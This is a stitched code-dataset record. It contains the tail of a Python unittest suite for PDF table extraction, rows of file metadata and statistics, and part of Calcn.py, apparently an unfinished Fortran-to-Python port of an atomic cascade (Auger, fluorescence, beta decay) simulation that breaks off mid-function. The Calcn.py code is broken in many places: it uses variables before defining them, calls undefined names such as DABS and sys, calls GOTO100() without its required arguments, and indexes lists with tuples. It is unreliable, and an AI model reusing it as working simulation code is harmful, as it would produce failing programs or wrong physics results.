tolerance=0.2) self.assertEqual(len(result), 2) self.assertEqual(len(result[0]), 2) self.assertEqual(len(result[1]), 2) self.assert_original_element_list_list_equal( [[elem_1, elem_2], [elem_3, elem_4]], result ) def test_extract_text_from_simple_table(self): # Checks that text from simple 2*2 table is correctly extracted # # elem_1 elem_2 # elem_3 elem_4 # elem_1 = FakePDFMinerTextElement( bounding_box=BoundingBox(0, 5, 6, 10), text="fake_text_1" ) elem_2 = FakePDFMinerTextElement( bounding_box=BoundingBox(6, 10, 6, 10), text="fake_text_2" ) elem_3 = FakePDFMinerTextElement( bounding_box=BoundingBox(0, 5, 0, 5), text="fake_text_3" ) elem_4 = FakePDFMinerTextElement( bounding_box=BoundingBox(6, 10, 0, 5), text="fake_text_4 " ) document = create_pdf_document(elements=[elem_1, elem_2, elem_3, elem_4]) elem_list = document.elements result = extract_simple_table(elem_list, as_text=True) self.assertEqual(len(result), 2) self.assertEqual(len(result[0]), 2) self.assertEqual(len(result[1]), 2) self.assertListEqual( [["fake_text_1", "fake_text_2"], ["fake_text_3", "fake_text_4"]], result ) result = extract_simple_table(elem_list, as_text=True, strip_text=False) self.assertListEqual( [["fake_text_1", "fake_text_2"], ["fake_text_3", "fake_text_4 "]], result ) def test_extract_text_from_table(self): # Checks that text from 2*2 table is correctly extracted # # elem_1 elem_2 # elem_3 elem_4 # elem_1 = FakePDFMinerTextElement( bounding_box=BoundingBox(0, 5, 6, 10), text="fake_text_1" ) elem_2 = FakePDFMinerTextElement( bounding_box=BoundingBox(6, 10, 6, 10), text="fake_text_2" ) elem_3 = FakePDFMinerTextElement( bounding_box=BoundingBox(0, 5, 0, 5), text="fake_text_3" ) elem_4 = FakePDFMinerTextElement( bounding_box=BoundingBox(6, 10, 0, 5), text="fake_text_4 " ) document = create_pdf_document(elements=[elem_1, elem_2, elem_3, elem_4]) elem_list = document.elements result = extract_table(elem_list, as_text=True) self.assertEqual(len(result), 2) self.assertEqual(len(result[0]), 2) self.assertEqual(len(result[1]), 2) self.assertListEqual( [["fake_text_1", "fake_text_2"], ["fake_text_3", "fake_text_4"]], result ) result = extract_table(elem_list, as_text=True, strip_text=False) self.assertListEqual( [["fake_text_1", "fake_text_2"], ["fake_text_3", "fake_text_4 "]], result ) # Checks that text from the following table is correctly extracted # # elem_1 elem_2 elem_6 # elem_3 elem_4 elem_5 # elem_5 = FakePDFMinerTextElement( bounding_box=BoundingBox(11, 15, 0, 5), text="fake_text_5" ) elem_6 = FakePDFMinerTextElement( bounding_box=BoundingBox(16, 20, 6, 10), text="fake_text_6" ) document = create_pdf_document( elements=[elem_1, elem_2, elem_3, elem_4, elem_5, elem_6] ) elem_list = document.elements result = extract_table(elem_list, as_text=True) self.assertEqual(len(result), 2) self.assertEqual(len(result[0]), 4) self.assertEqual(len(result[1]), 4) self.assertListEqual( [ ["fake_text_1", "fake_text_2", "", "fake_text_6"], ["fake_text_3", "fake_text_4", "fake_text_5", ""], ], result, ) result = extract_table(elem_list, as_text=True, strip_text=False) self.assertListEqual( [ ["fake_text_1", "fake_text_2", "", "fake_text_6"], ["fake_text_3", "fake_text_4 ", "fake_text_5", ""], ], result, ) def test_add_header_to_table(self): # Checks behaviour if header is not provided table = [] result = add_header_to_table(table) self.assertEqual(result, []) fake_header = ["fake_header_1", "fake_header_2"] table = [fake_header] result = add_header_to_table(table) self.assertEqual(result, []) table = [fake_header, ["fake_value_1", "fake_value_2"]] result = add_header_to_table(table) self.assertEqual(len(result), 1) self.assertListEqual( result, [{"fake_header_1": "fake_value_1", "fake_header_2": "fake_value_2"}] ) table = [ fake_header, ["fake_value_1.1", "fake_value_1.2"], ["fake_value_2.1", "fake_value_2.2"], ] result = add_header_to_table(table) self.assertEqual(len(result), 2) self.assertListEqual( result, [ {"fake_header_1": "fake_value_1.1", "fake_header_2": "fake_value_1.2"}, {"fake_header_1": "fake_value_2.1", "fake_header_2": "fake_value_2.2"}, ], ) # Checks behaviour if header is provided fake_header = ["fake_header_1", "fake_header_2"] table = [] result = add_header_to_table(table, header=fake_header) self.assertEqual(result, []) table = [["fake_value_1", "fake_value_2"]] result = add_header_to_table(table, header=fake_header) self.assertEqual(len(result), 1) self.assertListEqual( result, [{"fake_header_1": "fake_value_1", "fake_header_2": "fake_value_2"}] ) table = [ ["fake_value_1.1", "fake_value_1.2"], ["fake_value_2.1", "fake_value_2.2"], ] result = add_header_to_table(table, header=fake_header) self.assertEqual(len(result), 2) self.assertListEqual( result, [ {"fake_header_1": "fake_value_1.1", "fake_header_2": "fake_value_1.2"}, {"fake_header_1": "fake_value_2.1", "fake_header_2": "fake_value_2.2"}, ], ) redundant_fake_header = ["fake_header", "fake_header"] with self.assertRaises(InvalidTableHeaderError): result = add_header_to_table(table, header=redundant_fake_header) too_small_fake_header = ["fake_header"] with self.assertRaises(InvalidTableHeaderError): result = add_header_to_table(table, header=too_small_fake_header) def test_fix_element_in_multiple_rows(self): # Checks that the following table is correctly extracted: # --------- # | 1 | 2 | # ----| | # | 3 | | # --------- elem_1 = FakePDFMinerTextElement( bounding_box=BoundingBox(0, 5, 6, 10), text="fake_text_1" ) elem_2 = FakePDFMinerTextElement( bounding_box=BoundingBox(6, 10, 0, 10), text="fake_text_2" ) elem_3 = FakePDFMinerTextElement( bounding_box=BoundingBox(0, 5, 0, 5), text="fake_text_3" ) document = create_pdf_document(elements=[elem_1, elem_2, elem_3]) elem_list = document.elements with self.assertRaises(TableExtractionError): result = extract_table(elem_list, as_text=True) result = extract_table( elem_list, as_text=True, fix_element_in_multiple_rows=True ) self.assertEqual(len(result), 2) self.assertEqual(len(result[0]), 2) self.assertEqual(len(result[1]), 2) self.assertListEqual( [["fake_text_1", "fake_text_2"], ["fake_text_3", ""]], result ) def test_fix_element_in_multiple_cols(self): # Checks that the following table is correctly extracted: # --------- # | 1 | # --------| # | 2 | 3 | # --------- elem_1 = FakePDFMinerTextElement( bounding_box=BoundingBox(0, 10, 6, 10), text="fake_text_1" ) elem_2 = FakePDFMinerTextElement( bounding_box=BoundingBox(0, 5, 0, 5), text="fake_text_2" ) elem_3 = FakePDFMinerTextElement( bounding_box=BoundingBox(6, 10, 0, 5), text="fake_text_3" ) document = create_pdf_document(elements=[elem_1, elem_2, elem_3]) elem_list = document.elements with self.assertRaises(TableExtractionError): result = extract_table(elem_list, as_text=True) result = extract_table( elem_list, as_text=True, fix_element_in_multiple_cols=True ) self.assertEqual(len(result), 2) self.assertEqual(len(result[0]), 2) self.assertEqual(len(result[1]), 2) self.assertListEqual( [["fake_text_1", ""], ["fake_text_2", "fake_text_3"]], result ) def test_get_text_from_table(self): # Checks that it works with very simple table with one element element = create_pdf_element(text=" fake_text ") result = get_text_from_table([[element]]) self.assertEqual(result, [["fake_text"]]) result = get_text_from_table([[element]], strip_text=False) self.assertEqual(result, [[" fake_text "]]) result = get_text_from_table([[None]]) self.assertEqual(result, [[""]]) # Checks that it works with table with multiple rows and columns result = get_text_from_table([[element, None], [element, element]]) self.assertListEqual(result, [["fake_text", ""], ["fake_text", "fake_text"]]) def test_validate_table_shape(self): # Checks that empty table has a valid shape table = [] self.assertIsNone(_validate_table_shape(table)) # Checks that 2*2 table has a valid shape table = [["", ""], ["", ""]] self.assertIsNone(_validate_table_shape(table)) # Checks that 2*2 table containing None has a valid shape table = [["", None], ["", ""]] self.assertIsNone(_validate_table_shape(table)) # Checks that non rectangular table does not have a valid shape table = [[""], ["", ""]] with self.assertRaises(InvalidTableError): _validate_table_shape(table)

40.672913

88

0.614241

2,945

23,875

4.649576

0.043803

0.153947

0.168845

0.223472

0.932228

0.913532

0.894983

0.889506

0.87468

0.857811

0

0.054223

0.282387

23,875

586

89

40.742321

0.744995

0.108314

0

0.675234

0

0.055396

0

0.214953

1

0.037383

false

0

0.011682

0

0.051402

0

null

0

1

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null

0

7

826aa7f06d84075f7c4d821198948ef34756ea0a

72,681

py

Python

Calcn.py

fireballpoint1/fortranTOpy

55843a62c6f0a2f8e2a777ef70193940d3d2d141

[ "Apache-2.0" ]

1

2018-08-26T05:10:56.000Z

Calcn.py

fireballpoint1/fortranTOpy

55843a62c6f0a2f8e2a777ef70193940d3d2d141

[ "Apache-2.0" ]

null

Calcn.py

fireballpoint1/fortranTOpy

55843a62c6f0a2f8e2a777ef70193940d3d2d141

[ "Apache-2.0" ]

1

2018-06-26T18:06:44.000Z

import conf import numpy import random from Shake import * def CALC(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON): # IMPLICIT #real*8(A-H,O-Z) # IMPLICIT #integer*8(I-N) # SCR=""\ # SCR1="" global IFIRST,ESHK,ELECN,JVAC,R1 ESHK=0.0 JVAC=0.0 def get_globals(): NDVEC=conf.NDVEC MSUM=conf.MSUM MCOMP=conf.MCOMP MRAYL=conf.MRAYL MPAIR=conf.MPAIR MPHOT=conf.MPHOT MVAC=conf.MVAC ELEV=conf.ELEV NSDEG=conf.NSDEG AA=conf.AA BB=conf.BB SCR=conf.SCR SCR1=conf.SCR1 PRSH=conf.PRSH ESH=conf.ESH AUG=conf.AUG RAD=conf.RAD PRSHBT=conf.PRSHBT IZ=conf.IZ INIOCC=conf.INIOCC ISHLMX=conf.ISHLMX AMZ=conf.AMZ NOCC=conf.NOCC AUGR=conf.AUGR RADR=conf.RADR IONSUM=conf.IONSUM IFLSUM=conf.IFLSUM ESTORE=conf.ESTORE EPHOTON=conf.EPHOTON DRXE=conf.DRXE DRYE=conf.DRYE DRZE=conf.DRZE DRX=conf.DRX DRY=conf.DRY DRZ=conf.DRZ globals().update(locals()) get_globals() def update_globals(): conf.NDVEC=NDVEC conf.MSUM=MSUM conf.MCOMP=MCOMP conf.MRAYL=MRAYL conf.MPAIR=MPAIR conf.MPHOT=MPHOT conf.MVAC=MVAC conf.ELEV=ELEV conf.NSDEG=NSDEG conf.AA=AA conf.BB=BB conf.SCR,SCR1=SCR,SCR1 conf.PRSH=PRSH conf.ESH=ESH conf.AUG=AUG conf.RAD=RAD conf.PRSHBT=PRSHBT conf.IZ=IZ conf.INIOCC=INIOCC conf.ISHLMX=ISHLMX conf.AMZ=AMZ conf.NOCC=NOCC conf.AUGR=AUGR conf.RADR=RADR conf.IONSUM=IONSUM conf.IFLSUM=IFLSUM conf.ESTORE=ESTORE conf.EPHOTON=EPHOTON conf.DRXE=DRXE conf.DRYE=DRYE conf.DRZE=DRZE conf.DRX=DRX conf.DRY=DRY conf.DRZ=DRZ globals().update(locals()) #DIMENSION TEMP=[0 for x in range(17+1)] TEMP1=[0 for x in range(289+1)] # # CALCULATE CASCADE IN GAS KGAS AND MOLECULAR COMPONENT LGAS # WITH INTIAL ENERGY DEPOSIT ELECEN AND SHELL VACANCY CREATED AT ISHELL # # INITIAL PHOTON DIRECTION DRX, DRY AND DRZ DRXINIT=DRXE[int(NVAC)][1] DRYINIT=DRYE[int(NVAC)][1] DRZINIT=DRZE[int(NVAC)][1] ISHELLST=ISHELL def GOTO2(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON): global IFIRST,ESHK,ELECN,JVAC if(ICON==2 and IONSUM[int(NVAC)] == 1): return # GO INTO SECOND BETA LOOP print("calc 104 ICON,IONSUM[int(NVAC)],ISECOND= ",ICON,IONSUM[int(NVAC)],ISECOND) if(ICON == 3 and IONSUM[int(NVAC)] == 1 and ISECOND == 1): GOTO66(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) print("calc 107 ICON,IFIRST,JVAC,ISECOND= ",ICON,IFIRST,JVAC,ISECOND) if(ICON == 3 and IFIRST == 1 and JVAC == 0 and ISECOND == 2): return 1 # C update_globals() UPDATE(KGAS,LGAS,ISHELL) # C CHOOSE FLUORESCENCE OR AUGER TRANSITION TSUM=0.0 for I in range(1,17+1): TSUM=TSUM+RADR[KGAS][LGAS][ISHELL][I] for J in range(1,17+1): TSUM=TSUM+AUGR[KGAS][LGAS][ISHELL][I][J] # 10 CONTINUE # C NO MORE TRANSITIONS POSSIBLE if(TSUM == 0.0 and ICON == 3 and ISECOND == 1): globals().update(locals()) GOTO66(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) if(TSUM == 0.0): return 1 # C NORMALISE TO 1.0 for I in range(1,17+1): RADR[KGAS][LGAS][ISHELL][I]=RADR[KGAS][LGAS][ISHELL][I]/TSUM for J in range(1,17+1): AUGR[KGAS][LGAS][ISHELL][I][J]=AUGR[KGAS][LGAS][ISHELL][I][J]/TSUM # 11 CONTINUE # C CREATE CUMULATIVE SUM ARRAY TEMP[1]=RADR[KGAS][LGAS][ISHELL][1] for I in range(2,17+1): TEMP[I]=RADR[KGAS][LGAS][ISHELL][I]+TEMP[I-1] # 12 CONTINUE TEMP1[1]=AUGR[KGAS][LGAS][ISHELL][1][1] for I in range(2,17+1): TEMP1[I]=AUGR[KGAS][LGAS][ISHELL][I][1]+TEMP1[I-1] # 13 CONTINUE for J in range(1,16+1): for I in range(1,17+1): TEMP1[I+(J*17)]=AUGR[KGAS][LGAS][ISHELL][I][(J+1)]+TEMP1[I+(J*17)-1] # 14 CONTINUE # C FIND FLUORESCENCE OR AUGER TRANSITION # 15 R1=random.uniform(0.0,1.0) for I in range(1,17+1): if(R1 < TEMP[I]): # C STORE PHOTON ENERGY AND ANGLE THEN UPDATE NOCC IFLSUM[int(NVAC)]=IFLSUM[int(NVAC)]+1 EPHOTON[int(NVAC)][IFLSUM[int(NVAC)]]=ELEV[ISHELL][IZ[KGAS][LGAS]]-ELEV[I][IZ[KGAS][LGAS]] if(ICON == 2): EPHOTON[int(NVAC)][IFLSUM[int(NVAC)]]=ELEV[ISHELL][IZ[KGAS][LGAS]+1]-ELEV[I][IZ[KGAS][LGAS]+1] if(ICON == 3): EPHOTON[int(NVAC)][IFLSUM[int(NVAC)]]=ELEV[ISHELL][IZ[KGAS][LGAS]+2]-ELEV[I][IZ[KGAS][LGAS]+2] if(EPHOTON[int(NVAC)][IFLSUM[int(NVAC)]] < 0.0): # WRITE(6,545) # 545 print(' PHOTON ENERGY=%.3f NVAC=%d IFLSUM=%d IN CALC'%(EPHOTON[int(NVAC)][IFLSUM[int(NVAC)]],IFLSUM[int(NVAC)],NVAC)) ELEFT=ELEFT-DABS(EPHOTON[int(NVAC)][IFLSUM[int(NVAC)]]) if(ELEFT < 0.0): GOTO100() # C RANDOM EMISSION DIRECTION R3=random.uniform(0.0,1.0) THET=numpy.arccos(1.0-2.0*R3) R3=random.uniform(0.0,1.0) PHI=TWOPI*R3 # C CALC DIRECTION COSINES OF FLUORESCENCE DRX[int(NVAC)][IFLSUM[int(NVAC)]]=numpy.sin(THET)*numpy.cos(PHI) DRY[int(NVAC)][IFLSUM[int(NVAC)]]=numpy.sin(THET)*numpy.sin(PHI) DRZ[int(NVAC)][IFLSUM[int(NVAC)]]=numpy.cos(THET) # C NOCC[KGAS][LGAS][ISHELL]=NOCC[KGAS][LGAS][ISHELL]+1 NOCC[KGAS][LGAS][I]=NOCC[KGAS][LGAS][I]-1 # C FIND LOWEST VACANCY update_globals() VACANCY(KGAS,LGAS,ISHELL,ILAST) if(ILAST == 1): # C NO MORE TRANSITIONS POSSIBLE # C SECOND ELECTRON IN DOUBLE BETA DECAY if(ICON == 3 and ISECOND == 1): globals().update(locals()) GOTO66(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) return # ENDif globals().update(locals()) GOTO2(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # ENDif # 16 CONTINUE globals().update(locals()) return 1 def GOTO4(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON): global IFIRST,ESHK,ELECN,JVAC globals().update(locals()) # CHECK FOR ELECTRON SHAKEOFF IFIRST=IFIRST+1 if(IFIRST > 1): ELECN=ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])] globals().update(locals()) ISHELL,ELECN,KGAS,LGAS,ESHK,ICON,IFIRST,JVAC=SHAKE(ISHELL,ELECN,KGAS,LGAS,ESHK,ICON,IFIRST,JVAC) globals().update(locals()) # CALCULATE ENERGY OF ELECTRON print("calc 203 JVAC=",JVAC) if(JVAC == 0): pass else: if(IFIRST == 1): # INITIAL ELECTRON + SHAKEOFF if(ICON == 1): ELECN=ELECN-ESHK-ELEV[JVAC][IZ[int(KGAS)][int(LGAS)]] if(ICON == 2): ELECN=ELECN-ESHK-ELEV[JVAC,(IZ[KGAS][int(LGAS)]+1)] if(ICON == 2 or ICON == 3): ISHELL=JVAC if(ICON == 3): ELECN=ELECN-ESHK-ELEV[JVAC][(IZ[int(KGAS)][int(LGAS)]+2)] # PRIMARY ELECTRON ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ELECN # endif if(ICON == 1 and IFIRST != 1): ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]-ESHK-ELEV[JVAC][IZ[int(KGAS)][int(LGAS)]] # endif IONSUM[int(NVAC)]=IONSUM[int(NVAC)]+1 # MAXIMUM ION CHARGE STATE =28 if(IONSUM[int(NVAC)]> 28): #WRITE(6,99) IONSUM[int(NVAC)] #99 print(' WARNING ION CHARGE LIMITED TO 28+ IN THIS VERSION') sys.exit() # endif # SHAKE ELECTRON ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ESHK if(ICON == 1): ELEFT=ELEFT-ESHK-ELEV[JVAC][IZ[int(KGAS)][int(LGAS)]] if(ICON == 2): ELEFT=ELEFT-ESHK-ELEV[JVAC,(IZ[KGAS,LGAS]+1)] if(ICON == 3): ELEFT=ELEFT-ESHK-ELEV[JVAC][(IZ[int(KGAS)][int(LGAS)]+2)] if(ELEFT < 0.0): globals().update(locals()) complete=GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) return complete # RANDOM EMISSION DIRECTION R3=random.uniform(0.0,1.0) THET=numpy.arccos(1.0-2.0*R3) R3=random.uniform(0.0,1.0) PHI=TWOPI*R3 DRXE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.cos(PHI) DRYE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.sin(PHI) DRZE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.cos(THET) # RETURN IF NO SHAKE OFF WITH BETA DECAY complete=GOTO2(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) if(complete): return 1 counter116=1 while(counter116): counter116=0 R2=R1-TEMP[17] for J in range(1,17+1): if(counter116): break for I in range(1,17+1): if(R2 < TEMP1[I+((J-1)*17)]): # AUGER OR COSTER KRONIG # STORE EJECTED ELECTRON AND UPDATE NOCC ETEMP=ELEV[ISHELL][IZ[int(KGAS)][int(LGAS)]]-(ELEV[I][IZ[int(KGAS)][int(LGAS)]]+ELEV[I][IZ[int(KGAS)][int(LGAS)]+1])*0.5-(ELEV[J][IZ[int(KGAS)][int(LGAS)]]+ELEV[J][IZ[int(KGAS)][int(LGAS)]+1])*0.5 if(ICON == 2): ETEMP=ELEV[ISHELL][IZ[int(KGAS)][int(LGAS)]+1]-(ELEV[I][IZ[int(KGAS)][int(LGAS)]+1]+ELEV[I][IZ[int(KGAS)][int(LGAS)]+2])*0.5-(ELEV[J][IZ[int(KGAS)][int(LGAS)]+1]+ELEV[J][IZ[int(KGAS)][int(LGAS)]+2])*0.5 if(ICON == 3): ETEMP=ELEV[ISHELL][IZ[int(KGAS)][int(LGAS)]+2]-(ELEV[I][IZ[int(KGAS)][int(LGAS)]+2]+ELEV[I][IZ[int(KGAS)][int(LGAS)]+3])*0.5-(ELEV[J][IZ[int(KGAS)][int(LGAS)]+2]+ELEV[J][IZ[int(KGAS)][int(LGAS)]+3])*0.5 if(ETEMP < 0.0): # DO NOT ALLOW NEGATIVE ENERGY TRANSITIONS counter117=1 while(counter117): counter117=0 R1=random.uniform(0.0,1.0) if(R1 < TEMP[17]): counter117=1 counter116=1 break # endif IONSUM[int(NVAC)]=IONSUM[int(NVAC)]+1 if(IONSUM[int(NVAC)]> 28): print(' IONSUM LIMITED TO 28 IN THIS VERSION IONSUM=',IONSUM[int(NVAC)],' IN CALC') sys.exit() # endif ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ETEMP ELEFT=ELEFT-ETEMP if(ELEFT < 0.0): GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # RANDOM EMISSION DIRECTION R3=random.uniform(0.0,1.0) THET=numpy.arccos(1.0-2.0*R3) R3=random.uniform(0.0,1.0) PHI=TWOPI*R3 DRXE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.cos(PHI) DRYE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THET)*numpy.sin(PHI) DRZE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.cos(THET) NOCC[int(KGAS)][int(LGAS)][ISHELL]=NOCC[int(KGAS)][int(LGAS)][ISHELL]+1 NOCC[int(KGAS)][int(LGAS)][I]=NOCC[int(KGAS)][int(LGAS)][I]-1 NOCC[int(KGAS)][int(LGAS)][J]=NOCC[int(KGAS)][int(LGAS)][J]-1 # FIND LOWEST VACANCY VACANCY(KGAS,LGAS,ISHELL,ILAST) if(ILAST == 1): # NO MORE TRANSITIONS POSSIBLE # SECOND ELECTRON IN DOUBLE BETA DECAY if(ICON == 3 and ISECOND == 1): GOTO66(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) update_globals() return # endif GOTO4(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) # endif globals().update(locals()) def GOTO66(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON): global IFIRST,ESHK,ELECN,JVAC IONSUM[int(NVAC)]=IONSUM[int(NVAC)]+1 ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ESECOND DRXE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THESEC)*numpy.cos(PHISEC) DRYE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.sin(THESEC)*numpy.sin(PHISEC) DRZE[int(NVAC)][int(IONSUM[int(NVAC)])]=numpy.cos(THESEC) ELECN=ESECOND ISECOND=2 ISHELL=0 IFIRST=0 # LOOP AROUND CASCADE globals().update(locals()) GOTO4(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) return 1 def GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON): print("calcn ISHELL=", ISHELL) global IFIRST,ESHK,ELECN,JVAC complete=0 ELEFT=ELECEN ISHELL=ISHELLST API=numpy.arccos(-1.00) TWOPI=2.00*API ISECOND=1 IFIRST=0 # SET STARTING ARRAY NOCC EQUAL TO INIOCC for I in range(1,17+1): NOCC[int(KGAS)][int(LGAS)][I]=INIOCC[int(KGAS)][int(LGAS)][I] # PHOTONS print("344 calc ICON=",ICON) if(ICON == 1): IONSUM[int(NVAC)]=1 IFLSUM[int(NVAC)]=0 # STORE INITIAL PHOTOELECTRON ENERGY AND ANGLE ESTORE[int(NVAC)][1]=ELECEN-ELEV[ISHELL][IZ[int(KGAS)][int(LGAS)]] ELECN=ESTORE[int(NVAC)][1] ELEFT=ELEFT-ESTORE[int(NVAC)][1] NOCC[int(KGAS)][int(LGAS)][ISHELL]=NOCC[int(KGAS)][int(LGAS)][ISHELL]-1 # ENTRY FOR COMPTON ELECTRON..... if(NVAC <= MCOMP[IPN]): # IF COMPTON EVENT ELECTRON ANGLE FROM COMPTON (ALREADY STORED) globals().update(locals()) complete=GOTO4(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) return complete # endif # USE PHOTOELCTRON ANGULAR DISTRIBUTION APE=AA[ISHELL] BPE=BB[ISHELL] ANGGEN(APE,BPE,THET) if(THET < 0.0): THET=THET+API R3=random.uniform(0.0,1.0) PHI=TWOPI*R3 # INITIAL PHOTON DIRECTION DRXINIT, DRYINIT AND DRZINIT DRCOS(DRXINIT,DRYINIT,DRZINIT,THET,PHI,DRXX,DRYY,DRZZ) DRXE[int(NVAC)][1]=DRXX DRYE[int(NVAC)][1]=DRYY DRZE[int(NVAC)][1]=DRZZ globals().update(locals()) complete=GOTO4(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) return complete # endif if(ICON == 2): # BETA DECAY IONSUM[int(NVAC)]=1 IFLSUM[int(NVAC)]=0 ISHELL=0 ELECN=ELECEN ESTORE[int(NVAC)][1]=ELECN if(NDVEC == 2): # RANDOM EMISSION DIRECTION R3=random.uniform(0.0,1.0) THET=numpy.arccos(1.0-2.0*R3) elif(NDVEC == 0): # RANDOM EMISSION IN THE X-Y PLANE THET=API/2.0 elif(NDVEC == 1): # EMISSION ALONG Z AXIS THET=0.00 elif(NDVEC == -1): # EMISSION ALONG -Z AXIS THET=numpy.arccos(-1.00) else: print(' ERROR NDVEC NOT CORRECT SUBROUTINE STOPPED:') sys.exit() # endif R3=random.uniform(0.0,1.0) PHI=TWOPI*R3 DRXE[int(NVAC)][1]=numpy.sin(THET)*numpy.cos(PHI) DRYE[int(NVAC)][1]=numpy.sin(THET)*numpy.sin(PHI) DRZE[int(NVAC)][1]=numpy.cos(THET) # endif # DOUBLE BETA DECAY if(ICON == 3): IONSUM[int(NVAC)]=1 IFLSUM[int(NVAC)]=0 ISHELL=0 ELECN=ELECEN ESTORE[int(NVAC)][1]=ELECN ESECOND=ELECN if(NDVEC == 2): # RANDOM EMISSION DIRECTION R3=random.uniform(0.0,1.0) THET=numpy.arccos(1.0-2.0*R3) elif(NDVEC == 0): # RANDOM EMISSION IN THE X-Y PLANE THET=API/2.0 elif(NDVEC == 1): # EMISSION ALONG Z AXIS THET=0.00 elif(NDVEC == -1): # EMISSION ALONG -Z AXIS THET=numpy.arccos(-1.00) else: print(' ERROR NDVEC NOT CORRECT SUBROUTINE STOPPED:') sys.exit() # endif R3=random.uniform(0.0,1.0) PHI=TWOPI*R3 DRXE[int(NVAC)][1]=numpy.sin(THET)*numpy.cos(PHI) DRYE[int(NVAC)][1]=numpy.sin(THET)*numpy.sin(PHI) DRZE[int(NVAC)][1]=numpy.cos(THET) # endif # THESEC=API-THET if(PHI < API): PHISEC=API+PHI else: PHISEC=PHI-API # endif globals().update(locals()) print("calc IFIRST=",IFIRST) complete=GOTO4(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) print("got this ",complete) return complete globals().update(locals()) GOTO66(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) globals().update(locals()) complete=GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON) if(complete): return print(' ERROR IN CASCADE 0') sys.exit() # end def CALC1(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,L1): # IMPLICIT #real*8(A-H,O-Z) # IMPLICIT #integer*8(I-N) # SCR="" # SCR1="" #COMMON/GENCAS/ global ELEV#[17,79] global NSDEG#(17) global AA#[17] global BB#[17] global SCR,SCR1 #COMMON/MIXC/ global PRSH#(6,3,17,17) global ESH#(6,3,17) global AUG#(6,3,17,17,17) global RAD#[6,3,17,17] global PRSHBT#(6,3,17) global IZ#[6,3] global INIOCC#(6,3,17) global ISHLMX#(6,3) global AMZ#[6,3] #COMMON/UPD/ global NOCC#(6,3,17) global AUGR#(6,3,17,17,17) global RADR#(6,3,17,17) #COMMON/CALCAS/ global IONSUM0#(10) global IFLSUM0#(10) global ESTORE0#(10,28) global EPHOTON0#(10,28) global DRXE0#(10,28) global DRYE0#(10,28) global DRZE0#(10,28) global DRX0#(10,28) global DRY0#(10,28) global DRZ0#(10,28) #COMMON/CALCAS1/ global IONSUM#(10) global IFLSUM#(10) global ESTORE#(10,28) global EPHOTON#(10,28) global DRXE#(10,28) global DRYE#(10,28) global DRZE#(10,28) global DRX#(10,28) global DRY#(10,28) global DRZ#[10,28] #DIMENSION TEMP=[0 for x in range(17)] TEMP1=[0 for x in range(289)] # # CALCULATE CASCADE IN GAS KGAS AND MOLECULAR COMPONENT LGAS # WITH INTIAL ENERGY DEPOSIT ELECEN AND SHELL VACANCY CREATED AT ISHELL # ISTART=IONSUM[int(NVAC)] ISTARTF=IFLSUM[int(NVAC)] API=numpy.arccos(-1.00) TWOPI=2.00*API def GOTO100(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON): ELEFT=ELECEN INIT=1 # SET STARTING ARRAY NOCC EQUAL TO INIOCC for I in range(1,17+1): NOCC[int(KGAS)][int(LGAS)][I]=INIOCC[int(KGAS)][int(LGAS)][I] IONSUM[int(NVAC)]=ISTART+1 IFLSUM[int(NVAC)]=ISTARTF # STORE PHOTOELECTRON ENERGY AND ANGLE ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])]=ELECEN-ELEV[ISHELL][IZ[int(KGAS)][int(LGAS)]] ELECN=ESTORE[int(NVAC)][int(IONSUM[int(NVAC)])] ELEFT=ELEFT-ELECN NOCC[int(KGAS)][int(LGAS)][ISHELL]=NOCC[int(KGAS)][int(LGAS)][ISHELL]-1 # USE PHOTELECTRON ANGULAR DISTRIBUTION APE=AA[ISHELL] BPE=BB[ISHELL] ANGGEN(APE,BPE,THET) if(THET < 0.0): THET=THET+API R3=random.uniform(0.0,1.0) PHI=TWOPI*R3 DRCOS(DRX0[int(NVAC)][L1],DRY0[int(NVAC)][L1],DRZ0[int(NVAC)][L1],THET,PHI,DRXX,DRYY,DRZZ) DRXE[int(NVAC)][int(IONSUM[int(NVAC)])]=DRXX DRYE[int(NVAC)][int(IONSUM[int(NVAC)])]=DRYY DRZE[int(NVAC)][int(IONSUM[int(NVAC)])]=DRZZ # LOOP AROUND CASCADE def GOTO4(IPN,NVAC,KGAS,LGAS,ELECEN,ISHELL,ICON): # CHECK FOR ELECTRON 